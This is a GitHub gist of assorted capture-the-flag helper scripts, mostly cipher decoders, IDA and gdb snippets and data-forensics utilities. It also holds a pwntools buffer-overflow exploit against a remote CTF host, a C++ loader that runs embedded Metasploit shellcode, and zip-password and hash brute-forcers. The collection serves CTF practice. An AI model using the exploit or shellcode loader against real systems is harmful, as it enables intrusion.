Skip to content

Instantly share code, notes, and snippets.

@ltlly
Last active August 17, 2023 14:43
Show Gist options
  • Save ltlly/330058715ee1be36a7e45ea6bffb64e9 to your computer and use it in GitHub Desktop.
Save ltlly/330058715ee1be36a7e45ea6bffb64e9 to your computer and use it in GitHub Desktop.
Ctf常见脚本
import binascii
out=open('2.jpg','wb')
out.write(binascii.unhexlify(s))
out.close()
#atbash解密
little=[chr(x) for x in range(ord("a"),ord("z")+1)]
big=[chr(x) for x in range(ord("A"),ord("Z")+1)]
str="youaregood!"
result=""
for char in str:
if char.islower():
result+=little[::-1][little.index(char)+1]
elif char.isupper():
result += big[::-1][big.index(char)]
else:
result+=char
print(result)
import base64
a = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
c = "ERaQux2YViip6HzuQNQB1pbyFr"
r = ""
for x in c:
r += b[a.index(x)]
print(r)
print(base64.b64decode("NYhX03BfcppvFQ50XVXKAvi4Ox=="))
set pagination off
set args ./code
b *0x000402050
r
watch $pc
commands
silent
printf "1"
continue
end
c
import idc
import idaapi
import idautils
startadd=0x00401040
for i in range(800):
c=idc.get_wide_byte(startadd+i)
idc.patch_byte(startadd+i, c^i)
import idaapi
import matplotlib.pyplot as plt
import idautils
import idc
all_funcs = idautils.Functions()
print(all_funcs)
keda={}
for fn in all_funcs:
#fn是个int 就是这个函数的地址
func_name = idc.get_func_name(fn)
func_name = "_"+func_name+"_ptr"
#print(func_name)
start = idc.get_func_attr(fn, FUNCATTR_START)
end = idc.get_func_attr(fn, FUNCATTR_END)
curr_addr = start
while curr_addr <= end:
# print(hex(curr_addr),idc.GetDisasm(curr_addr))
#当前地址的汇编
asmmm = idc.GetDisasm(curr_addr)
asmmm_1=idc.GetDisasm(idc.next_head(curr_addr, end))
asmmm_2=idc.GetDisasm(idc.next_head(idc.next_head(curr_addr, end),end))
asmmm_3=idc.GetDisasm(idc.next_head(idc.next_head(idc.next_head(curr_addr, end),end),end))
asmmm_4=idc.GetDisasm(idc.next_head(idc.next_head(idc.next_head(idc.next_head(curr_addr, end),end),end),end))
asmmm_5=idc.GetDisasm(idc.next_head(idc.next_head(idc.next_head(idc.next_head(idc.next_head(curr_addr, end),end),end),end),end))
#print(asmmm)
#print(asmmm_1)
#print(asmmm_2)
import re
if ("mov rax, [rbp+var_10]" in asmmm) and "cmp rax," in asmmm_1:
if func_name not in keda:
keda[func_name]=[]
keda[func_name].append(asmmm_5.split(":")[-1])
curr_addr = idc.next_head(curr_addr, end)
#break
#print(keda)
import json
c=json.dumps(keda)
with open (r"D:\CTF\J\ObfPuzz_98857a60fab26c4c9425423d23a6aa25\1.json","w")as f:
f.write(c)
import networkx as nx
G = nx.DiGraph()
for x in keda.keys():
G.add_node(x)
for x in keda.keys():
for c in keda[x]:
G.add_edge(x,c)
nx.draw_networkx(G)
plt.show()
a = "21 52 34 35 13 44 21 { 35 34 31 54 12 24 45 43 _ 43 41 45 11 42 15 }"
a = a.split()
apl=[["a","b","c","d","e"],
["f","g","h","i,j","k"],
["l","m","n","o","p"],
["q","r","s","t","u"],
["v","w","x","y","z"]]
for x in a:
if x.isnumeric():
print(apl[int(x[0])-1][int(x[1])-1], end="")
else:
print(x, end="")
from pwn import *
io = remote('node4.buuoj.cn', 29533)
# 123
payload = b'a' * 0x48 +p64(0x40060D)
io.send(payload)
io.interactive()
# # a=open("BabyMaze_2Eh_7E2h.txt","rb")
# # for x in a.read():
# # if chr(x).isalpha():
# # print(chr(x),end="")
# e = "qqqdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgdddddddddddddddddddddddddddddddgg"
# print(e)
# print(len(e))
import marshal, dis
f = open('babymaze.pyc', 'rb')
f.read(4)
f.read(4)
f.read(4)
f.read(4)
b = marshal.load(f)
print(b.co_consts)
print(b.co_names)
dis.dis(b.co_code)
import json
a="=E9=82=A3=E4=BD=A0=E4=B9=9F=E5=BE=88=E6=A3=92=E5=93=A6".split("=")
a.remove("")
result=[]
for index in range(0,len(a),3):
result.append(a[index]+a[index+1]+a[index+2])
for x in result:
x=r"\x"+x
x=x.lower()
print(x.encode("utf8").decode("utf8"))
print(result[0])
# !/usr/bin/env python
# -*- coding: utf-8 -*-
import string
s1 = "输入吧"
rot13_1 = string.ascii_lowercase[:13]
rot13_2 = string.ascii_lowercase[13:]
result = []
for i in s1:
find_1 = rot13_1.find(i.lower())
if find_1 != -1:
if i.isupper():
result.append(rot13_2[find_1].upper())
continue
result.append(rot13_2[find_1])
find_2 = rot13_2.find(i.lower())
if find_2 != -1:
if i.isupper():
result.append(rot13_1[find_2].upper())
continue
result.append(rot13_1[find_2])
if find_1 == -1 and find_2 == -1:
result.append(i)
print("".join(result))
package main
import (
"bytes"
"crypto/sha256"
"encoding/hex"
"fmt"
"runtime"
"sync"
"os"
)
var (
chars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890")
tail = []byte("SUex0zeSOI7DilNj")
result, _ = hex.DecodeString("b5bbdab6b117ece3e45ca60ecf2c666e7a5ee1bcbb9596c1e06c7e7995c1ee8d")
wg sync.WaitGroup
)
func sha(s []byte) {
for _, ch1 := range s {
for _, ch2 := range chars {
for _, ch3 := range chars {
for _, ch4 := range chars {
head := []byte{ch1, ch2, ch3, ch4}
h := sha256.New()
h.Write(head)
h.Write(tail)
if bytes.Equal(h.Sum(nil), result) {
fmt.Println(string(head))
}
}
}
}
}
wg.Done()
}
func main() {
args := os.Args
tail = []byte(args[1])
result, _ = hex.DecodeString(args[2])
// fmt.Println(string(tail))
// fmt.Println(string(result))
threads := runtime.NumCPU() // 获取cpu逻辑核心数(包括超线程)
snum := len(chars) / threads
sthreads := threads*(1+snum) - len(chars)
wg.Add(threads)
for i := 0; i < threads; i++ {
if i < sthreads {
go sha(chars[snum*i : snum*(i+1)])
} else {
base := snum * sthreads
go sha(chars[base+(snum+1)*(i-sthreads) : base+(snum+1)*(i-sthreads+1)])
}
}
wg.Wait()
}
// testhook.cpp : 此文件包含 main 函数。程序执行将在此处开始并结束。
//
#include <sys/types.h>
#include <iostream>
#include <Windows.h>
//data段设置为可读写执行
#pragma comment(linker, "/SECTION:.data,RWE")
using namespace std;
//使用msf生成的弹计算器的shellcodeddddd
unsigned char messageBox64bit_sc[] = {
0x48, 0x83, 0xec, 0x28, 0x48, 0x83, 0xe4, 0xf0, 0x65, 0x4c, 0x8b, 0x24,
0x25, 0x60, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0x64, 0x24, 0x18, 0x4d, 0x8b,
0x64, 0x24, 0x20, 0x4d, 0x8b, 0x24, 0x24, 0x4d, 0x8b, 0x7c, 0x24, 0x20,
0x4d, 0x8b, 0x24, 0x24, 0x4d, 0x8b, 0x64, 0x24, 0x20, 0xba, 0x8e, 0x4e,
0x0e, 0xec, 0x4c, 0x89, 0xe1, 0xe8, 0x68, 0x00, 0x00, 0x00, 0xeb, 0x34,
0x59, 0xff, 0xd0, 0xba, 0xa8, 0xa2, 0x4d, 0xbc, 0x48, 0x89, 0xc1, 0xe8,
0x56, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0x4d, 0x31, 0xc9, 0xeb, 0x2c,
0x41, 0x58, 0xeb, 0x3a, 0x5a, 0x48, 0x31, 0xc9, 0xff, 0xd3, 0xba, 0x70,
0xcd, 0x3f, 0x2d, 0x4c, 0x89, 0xf9, 0xe8, 0x37, 0x00, 0x00, 0x00, 0x48,
0x31, 0xc9, 0xff, 0xd0, 0xe8, 0xc7, 0xff, 0xff, 0xff, 0x75, 0x73, 0x65,
0x72, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00, 0xe8, 0xcf, 0xff, 0xff,
0xff, 0x54, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x66, 0x75, 0x6e,
0x21, 0x00, 0xe8, 0xc1, 0xff, 0xff, 0xff, 0x30, 0x78, 0x64, 0x65, 0x61,
0x64, 0x62, 0x65, 0x65, 0x66, 0x00, 0x49, 0x89, 0xcd, 0x67, 0x41, 0x8b,
0x45, 0x3c, 0x67, 0x45, 0x8b, 0xb4, 0x05, 0x88, 0x00, 0x00, 0x00, 0x45,
0x01, 0xee, 0x67, 0x45, 0x8b, 0x56, 0x18, 0x67, 0x41, 0x8b, 0x5e, 0x20,
0x44, 0x01, 0xeb, 0x67, 0xe3, 0x3f, 0x41, 0xff, 0xca, 0x67, 0x42, 0x8b,
0x34, 0x93, 0x44, 0x01, 0xee, 0x31, 0xff, 0x31, 0xc0, 0xfc, 0xac, 0x84,
0xc0, 0x74, 0x07, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xeb, 0xf4, 0x39, 0xd7,
0x75, 0xdd, 0x67, 0x41, 0x8b, 0x5e, 0x24, 0x44, 0x01, 0xeb, 0x31, 0xc9,
0x66, 0x67, 0x42, 0x8b, 0x0c, 0x53, 0x67, 0x41, 0x8b, 0x5e, 0x1c, 0x44,
0x01, 0xeb, 0x67, 0x8b, 0x04, 0x8b, 0x44, 0x01, 0xe8, 0xc3
};
int main()
{
printf("testhook start");
printf("testhook start");
printf("testhook start");
((void(*)()) & messageBox64bit_sc)();//将buf的首地址强转为函数指针并调用,而buf的首地址内容为shellcode
}
#!C:\Python3.7
# -*- coding:utf-8 -*-
import requests
import base64
from urllib import parse
def char2hex(s):
h = ""
for i in s:
tem = (hex(ord(i)))
h += tem
print(h)
h = str(h).replace("0x", "\\x")
print(h)
if __name__ == '__main__':
print(base64.b64decode("PD9waHAgLy8gY3RmaHVie2YxZTVhZGYwZjliOGVkNTc0ODJlOThkY30K"))
char2hex(" ")
print("\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x31\x37\x38\x36\x30\x32\x34\x34\x39\x33\x35\x36\x30\x31\x2e\x70\x68\x70")
##parse.quote()url编码
##parse.unquote()url解码
# for i in range(128):
# print(i,parse.quote(chr(i)))
#!/usr/bin/env python
#tshark -r bingbing.pcap -T fields -e usb.capdata > usbdata.txt
import sys
import os
DataFileName = "usbdata.txt"
presses = []
normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
"0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
"16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
"1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",
"30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
"0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
"16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
"1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",
"30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
def main():
# check argv
if len(sys.argv) != 2:
print("Usage : ")
print(" python UsbKeyboardHacker.py data.pcap")
print("Tips : ")
print(" To use this python script , you must install the tshark first.")
print(" You can use `sudo apt-get install tshark` to install it")
exit(1)
# get argv
pcapFilePath = sys.argv[1]
# get data of pcap
os.system("tshark -r %s -T fields -e usb.capdata > %s" % (pcapFilePath, DataFileName))
# read data
with open(DataFileName, "r") as f:
for line in f:
presses.append(line[0:-1])
# handle
result = ""
for press in presses:
Bytes = press.split(":")
if Bytes[0] == "00":
if Bytes[2] != "00":
result += normalKeys[Bytes[2]]
elif Bytes[0] == "20": # shift key is pressed.
if Bytes[2] != "00":
result += shiftKeys[Bytes[2]]
else:
print("[-] Unknow Key : %s" % (Bytes[0]))
print("[+] Found : %s" % (result))
# clean the temp data
os.system("rm ./%s" % (DataFileName))
if __name__ == "__main__":
main()
import os
import zipfile
z = zipfile.ZipFile("SSsssEcR3t2 - 副本.zip")
for x in range(0000, 9999):
try:
z.extractall(pwd=bytes(str(x).zfill(4), "utf8"))
print(x)
break
except:
pass
#flag是vjpw_wnoei
c = '111111111111'
table = ['ABC','DEF','GHI','JKL','MNO','PQRS','TUV','WXYZ']
c = c.split(' ')
for i in range(len(c)):
if c[i].isnumeric():
print(table[int(c[i][0])-2][int(c[i][1])-1],end='')
else:
print(c[i],end="")
def de_kaisa(s,delta):
little=[chr(i) for i in range(97,123)]
big=[chr(i) for i in range(65,91)]
result=[""]*len(s)
for index in range(len(s)):
if s[index] in little:
t=little.index(s[index])
result[index]=little[(t+delta)%26]
elif s[index] in big:
t = big.index(s[index])
result[index] = big[(t + delta) % 26]
else:
result[index]=s[index]
return "".join(result)
if __name__ == '__main__':
s="synt{5pq1004q-86n5-46q8-o720-oro5on0417r1}"
s=de_kaisa(s,13)
print(s)
"""
huffman编码
"""
class Node:
def __init__(self, name, weight):
self.name = name # 节点名
self.weight = weight # 节点权重
self.left = None # 节点左孩子
self.right = None # 节点右孩子
self.father = None # 节点父节点
# 判断是否是左孩子
def is_left_child(self):
return self.father.left == self
# 创建最初的叶子节点
def create_prim_nodes(data_set, labels):
if len(data_set) != len(labels):
raise Exception('数据和标签不匹配!')
nodes = []
for i in range(len(labels)):
nodes.append(Node(labels[i], data_set[i]))
return nodes
# 创建huffman树
def create_hf_tree(nodes):
# 此处注意,copy()属于浅拷贝,
# 只拷贝最外层元素,内层嵌套元素则通过引用,而不是独立分配内存
tree_nodes = nodes.copy()
while len(tree_nodes) > 1: # 只剩根节点时,退出循环
tree_nodes.sort(key=lambda node: node.weight) # 升序排列
new_left = tree_nodes.pop(0)
new_right = tree_nodes.pop(0)
new_node = Node(None, (new_left.weight + new_right.weight))
new_node.left = new_left
new_node.right = new_right
new_left.father = new_right.father = new_node
tree_nodes.append(new_node)
tree_nodes[0].father = None # 根节点父亲为None
return tree_nodes[0] # 返回根节点
# 获取huffman编码
def get_huffman_code(root, nodes):
codes = {}
for node in nodes:
code = ''
name = node.name
while node.father != None:
if node.is_left_child():
code = '0' + code
else:
code = '1' + code
node = node.father
codes[code] = name
# codes[name] = code
return codes
def decode(code, diccc):
"""
@code 0101字符串
@diccc 关于哈夫曼的编码字典
"""
m = ''
st = 0
while st < len(code):
ed = st + 5
while ed <= len(code):
if code[st:ed] in diccc.keys():
m += diccc[code[st:ed]]
break
else:
ed += 1
st = ed
return m
if __name__ == '__main__':
nodes = {'j': 29, 'z': 31, '7': 25, 'e': 31, 'l': 23, '6': 37, '4': 32, 'p': 38, 'h': 27, 'g': 26, 'x': 28, 'i': 25,
'u': 27, 'n': 25, '8': 36, '0': 24, 'o': 23, 'c': 28, 'y': 24, '1': 29, 'b': 26, 'm': 27, '2': 28, 'v': 25,
'd': 33, 'f': 28, '9': 33, 't': 21, 'w': 22, 'a': 31, 'r': 24, 's': 16, 'k': 32, '5': 25, 'q': 23, '3': 32,
'{': 1,
'-': 4, '}': 1, }
code = '0111110001000011001010001111011110101010011011011110100000110010111101000010010010001100001110010000011110011101101111011001111101000000111010100000101101001000111100000000010100110100101001011101110010001100011100010010111001100011100110011010011000101010100011011110001111111110111001011100010100101111100001011011001001001000010111110101110111010111100010111011000011001011001101001010010111111001110101000110001001001100101110111101111000110010010111111000111110000101001100100100001001110100101011111101111110011101011101000000100100100011111111001000101110101001001101110001011101101001001001011010000101111111001011111100110010100111111110001001100100010010010011110111110110110001101000010010110110001011010000100011010111110101110000110000010001111111110000101000100101101111000111100101101011001100010101011000110010011111001010011110100100011000101111110111011011000011011010100011011100010001010001010000000001101001010010100111111010010110110011110100101010010101001010100010101011010011110001000011000100001010111001110001100101100001010111011110110111110000001011011111011101101000111111110100111100110011101111100111100101101101101010100110001100100110101011110000011111111100011110011101010011110101010111100111100001000111110111110100010011110011000010000100001100101111101010110101100011100010010100001110001001010110010010010100010101101101001110000101111110101010110110110000010011000111000010001001101101101101100111000011000011010101111010101100101000011011001011000101101110100011110001100111101111011000100110110000111010101101111101001111111111100001000111000001001011111011110010110101011110001110001101010011000101111100001111111011100110101001000011111101111111011001111110001110111110110010111000111011011110010101010110011001110110011110001111010000011010101000111110111011100101100100100100001111101010011101111100110011100000010100101000111100100011001011111000000111111111000000011111111101110111111001110100100000100000011011111010000000011110101110111101101011001111011010101111000010110001101000111000111000001110110111000100011110101100100100011100111100101101010010110101011111110011100100000111011011010101101110111000001001100110111001000111001000000111000110010110000100100010001001111010101000101101111000000110101110011101001011100110111101101111100001111000110001101010000111100100011110001100110111001101011100010101011110111111111100101100101010001101110101101101010101001110100001101011000100001111011011100101011000001001000011011000111011101110011001101110100000010100000101111010000001000011001101101111010011101000000101101101011101001101110000010011110001110100111000101111101010110111010011010011000011000110110010110001001000101101111000010010001011110100010111010100101100101111010100001110111100000100101101011110010110001000111111001000000101110010111010001101101111101110111000010101100100001010101001010010001011101001100101010101001111110000010011010011110101001001001110010110100111011110110000111101000010011111000111111001111010011101011010011100010001111101001110011110101111111111111011010100000010100010010011110100110011011101011101011101100000100111110111100100000101011000110110000010110001001111111111011101011000010101111110111001011101111111100111011101001000111011110110111101001011110011000110011000010011011001001100010010111110000110100001110111100110110100101010010111001001100101111010010001001111111000010111101010110000001110101000111011010111100110101001001110001110001001111110001000010011011110100111011111000101111110011000011010001000101000110011100011001001011000111011100101101000110001110011011101010101001010011101110100100111101011101010011010101010111101110101101000001111100111111010011010111101000101011111101011100101101101001100011001111101111100100111101101101110111111010111010100100101110111000011100001001000011100010101110100111110011001100101111110110100111101000010001000011011110000011010110111010110001110011111110000011110010001011010010111111101010101110010000001010011111011100101000101101010101101101000101000110011101101010110001100101011101110111100000001010000011110011010011000011111110100111011100100111000001101001110111100000101010110000010000100001110111000011111110010010100111111101010110000000000111011010000101100100111001110000001011101100000110110101011001011000111001111110010101111001011011101000010001100011101110010100111000011111001110001100111110110111101010101011001000101011010001100000010001111110011001101111111010110010001111001100111110001110011100010011011100100010011011000110000100101111100111110111101010010001101010011100110001011001111000100011011110100011101011101010111111110000011110110111011110000010111100110011100011010111101111110100000010001111100101100011110001101011111101111111011111011101010001101001000111000101111110101000110011000111011111101111110100001111011110010100011101110111111010101100111000101100100010011101001011110011111001111101110001110111111011100111100010110010011011010100011100101010101010110000001010111001101111100111110010100111000010101111001110011011011111001101110011111001000000000111101011000111110001101010011011000010100100100111011111110010000000101001111111110101100001010000001110100101001111001011011001001001011100101111110'
labels = [x for x in nodes.keys()]
data_set = [x[1] for x in nodes.items()]
nodes = create_prim_nodes(data_set, labels) # 创建初始叶子节点
root = create_hf_tree(nodes) # 创建huffman树
codes = get_huffman_code(root, nodes) # 获取huffman编码
# 打印huffman码键值对
print(codes)
# 解码哈夫曼编码
results = decode(code, codes)
print(results)
import struct
import binascii
s = [72065910510177138000000000000000.000000, 71863209670811371000000.000000, 18489682625412760000000000000000.000000,
72723257588050687000000.000000, 4674659167469766200000000.000000, 19061698837499292000000000000000000000.000000]
a = ''
b = ''
for i in s:
i = float(i)
tmp = struct.pack('<f', i).hex() # 小端
a += tmp
for j in s:
j = float(j)
tmp = struct.pack('>f', j).hex() # 大端
b += tmp
print(binascii.a2b_hex(a))
print(binascii.a2b_hex(b))
def ROR(i, index,bits):
tmp = bin(i)[2:].rjust(bits, "0")
for _ in range(index): # 模拟循环右移
tmp = tmp[-1] + tmp[:-1] # 取最后一位 取从第1位到最后一位前一位,拼接起来。相当于右移了一位。
return int(tmp, 2)
def ROL(i,index,bits):
tmp = bin(i)[2:].rjust(bits, "0")
for _ in range(index):
tmp = tmp[1:] + tmp[0]
return int(tmp, 2)
# 莫斯密码解密
def morse(s, split_char=" "):
dict = {'.-': 'A',
'-...': 'B',
'-.-.': 'C',
'-..': 'D',
'.': 'E',
'..-.': 'F',
'--.': 'G',
'....': 'H',
'..': 'I',
'.---': 'J',
'-.-': 'K',
'.-..': 'L',
'--': 'M',
'-.': 'N',
'---': 'O',
'.--.': 'P',
'--.-': 'Q',
'.-.': 'R',
'...': 'S',
'-': 'T',
'..-': 'U',
'...-': 'V',
'.--': 'W',
'-..-': 'X',
'-.--': 'Y',
'--..': 'Z',
'.----': '1',
'..---': '2',
'...--': '3',
'....-': '4',
'.....': '5',
'-....': '6',
'--...': '7',
'---..': '8',
'----.': '9',
'-----': '0',
'..--..': '?',
'-..-.': '/',
'-.--.-': '()',
'-....-': '-',
'.-.-.-': '.'
}
a = s.split(split_char)
print(a)
for x in a:
print(dict[x], end="")
if __name__ == '__main__':
a = "-.. .-.. .-. --- .-- --- - .--. -.-- .-. -.-. --- .-.. .-.. . ...."
morse(a, " ")
# !/usr/bin/env python
# -*- encoding: utf-8 -*-
string = input("输入:")
frequency = [] # 获得栅栏的栏数
result_len = len(string) # 栅栏密码的总长度 25
for i in range(2, result_len): # 最小栅栏长度为2 逐个测试2,3,4....
if (result_len % i == 0): # 当栅栏密码的总长度 模 i 余数为0 则这个i就是栅栏密码的长度
frequency.append(i)
for numberOfColumn in frequency: # 循环可能分的栏数
RESULT = [] # 保存各栏数的结果
for i in range(numberOfColumn): # i : 开始取值的位置
for j in range(i, result_len, numberOfColumn): # 开始取值, 隔栏数取一个值, 起始位置是i
RESULT.append(string[j])
print("".join(RESULT))
import qrcode
qr = qrcode.QRCode(
version=1, #二维码的格子矩阵大小
error_correction=qrcode.constants.ERROR_CORRECT_Q,
box_size=10,
border=4,
)
qr.add_data("Hello World")#向二维码添加数据
qr.make(fit=True)
img = qr.make_image(fill_color="green", back_color="white")#更改QR的背景和绘画颜色
img.show()# 显示二维码
import matplotlib.pyplot as plt
import random
with open("pots.txt","r",encoding="utf-8")as file:
potss=file.read()
potss=potss.split("\n")
pots=[]
for pot in potss:
pots.append(pot.split(","))
xs=[int(x[0]) for x in pots]
ys=[int(x[1]) for x in pots]
fig, axes = plt.subplots(nrows=1, ncols=1, dpi=60, figsize=(55, 20))
#散点图
axes.scatter(xs, ys)
axes.set_xlabel("hhhh")
axes.set_ylabel("随便了")
plt.show()
"""import matplotlib.pyplot as plt
import random
fig, axes = plt.subplots(nrows=5, ncols=1, dpi=100, figsize=(20, 8))
x = range(0, 50)
y = [random.uniform(0, 100) for i in x]
#散点图
axes[0].scatter(x, y)
axes[0].set_xlabel("hhhh")
axes[0].set_ylabel("随便了")
#折线图
axes[1].plot(x, y)
axes[1].set_xlabel("hhhh")
axes[1].set_ylabel("随便了")
#柱状图
axes[2].bar(x,y,width=0.5)
#直方图
axes[3].hist(y,100)
plt.show()"""
'''维吉尼亚破解'''
# https://www.guballa.de/vigenere-solver
import numpy as np
import wordninja
def alpha(cipher): # 预处理,去掉空格以及回车
c = ''
biaodian=[]
flag_is_biaodian=[]
for i in range(len(cipher)):
if (cipher[i].isalpha()):
c += cipher[i]
flag_is_biaodian.append(0)
else:
biaodian.append(cipher[i])
flag_is_biaodian.append(1)
return c,biaodian,flag_is_biaodian
def count_IC(cipher): # 给定字符串计算其重合指数
count = [0 for i in range(26)]
L = len(cipher)
IC = 0.0
for i in range(len(cipher)):
if (cipher[i].isupper()):
count[ord(cipher[i]) - ord('A')] += 1
elif (cipher[i].islower()):
count[ord(cipher[i]) - ord('a')] += 1
for i in range(26):
IC += (count[i] * (count[i] - 1)) / (L * (L - 1))
return IC
def count_key_len(cipher, key_len): # 对字符串按输入个数进行分组,计算每一组的IC值返回平均值
N = ['' for i in range(key_len)]
IC = [0 for i in range(key_len)]
for i in range(len(cipher)):
m = i % key_len
N[m] += cipher[i]
for i in range(key_len):
IC[i] = count_IC(N[i])
# print(IC)
print("长度为%d时,平均重合指数为%.5f" % (key_len, np.mean(IC)))
return np.mean(IC)
def length(cipher): # 遍历确定最有可能的密钥长度返回密钥长度
key_len = 0
mins = 100
aver = 0.0
for i in range(1, 10):
k = count_key_len(cipher, i)
if (abs(k - 0.065) < mins):
mins = abs(k - 0.065)
key_len = i
aver = k
print("密钥长度为%d,此时重合指数每组的平均值为%.5f" % (key_len, aver))
return key_len
def count_MIC(c1, c2, n): # n=k1-k2为偏移量,计算c1,c2互重合指数MIC
count_1 = [0 for i in range(26)]
count_2 = [0 for i in range(26)]
L_1 = len(c1)
L_2 = len(c2)
MIC = 0
for i in range(L_1):
if (c1[i].isupper()):
count_1[ord(c1[i]) - ord('A')] += 1
elif (c1[i].islower()):
count_1[ord(c1[i]) - ord('a')] += 1
for i in range(L_2):
if (c2[i].isupper()):
count_2[(ord(c2[i]) - ord('A') + n + 26) % 26] += 1
elif (c2[i].islower()):
count_2[(ord(c2[i]) - ord('a') + n + 26) % 26] += 1
for i in range(26):
MIC += count_1[i] * count_2[i] / (L_1 * L_2)
return MIC
def count_n(c1, c2): # 确定两个子串最优的相对偏移量n=k1-k2
n = 0
mins = 100
k = [0.0 for i in range(26)]
for i in range(26):
k[i] = count_MIC(c1, c2, i)
# print(i,k[i])
if (abs(k[i] - 0.065) < mins):
mins = abs(k[i] - 0.065)
n = i
return n
def group_k(cipher, key_len): # 完成分组操作并计算每一组与第一组的最优相对偏移量并返回
N = ['' for i in range(key_len)]
MIC = [0 for i in range(key_len)]
s = [0 for i in range(key_len)]
for i in range(len(cipher)): # 对密文进行分组
m = i % key_len
N[m] += cipher[i]
for i in range(1, key_len): # 计算与第一组之间的相对偏移量
s[i] = count_n(N[0], N[i]) # s[i] = k1-k(i+1)
MIC[i] = count_MIC(N[0], N[i], s[i]) # MIC[i] = MIC(1,i+1)
print("第1组和第%d组之间偏移为%d时,互重合指数为%.5f" % (i + 1, s[i], MIC[i]))
return s
def miyao(key_len, s, k): # k为第一个子串的移位,输出密钥并返回密钥所有字母的下标
mi = ['' for i in range(key_len)]
for i in range(key_len):
s[i] = -s[i] + k # k2=k1-n
mi[i] = chr((s[i] + 26) % 26 + ord('a'))
print("第一个偏移量为%d,密钥为%s时" % (k, mi))
return s
def the_end(cipher, key_len, s): # 输入密文密钥返回明文结果
plain = ''
i = 0
while (i < len(cipher)):
for j in range(key_len):
if (cipher[i].isupper()):
plain += chr((ord(cipher[i]) - ord('A') - s[j] + 26) % 26 + ord('A'))
else:
plain += chr((ord(cipher[i]) - ord('a') - s[j] + 26) % 26 + ord('a'))
i += 1
if (i == len(cipher)):
break
# print(plain)
return plain
if __name__ == "__main__":
fp = open("2.txt", "r")
cipher = ''
for i in fp.readlines():
cipher = cipher + i
ttt = cipher[::]
ttt = ttt.replace("\n", "")
fp.close()
cipher,biaodian,flag_is_biaodian = alpha(cipher)
key_len = length(cipher)
s = group_k(cipher, key_len)
m = s.copy()
for k in range(26):
s = m.copy()
s = miyao(key_len, s, k)
plain = the_end(cipher, key_len, s)
print(plain[0:20]) # 输出部分明文确定偏移量k1
print("参考输出,请输入第一个子串的偏移量:", end='')
k = int(input())
m = miyao(key_len, m, k)
plain = the_end(cipher, key_len, m)
#
# '''对英文文本进行分词'''
# word = wordninja.split(plain)
# plain = ''
# for i in range(len(word)):
# plain += word[i]
#
"""自己改了一下 可以输出标点了"""
i,j=0,0
for x in flag_is_biaodian:
if x:
print(biaodian[i],end="")
i+=1
else:
print(plain[j],end="")
j+=1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment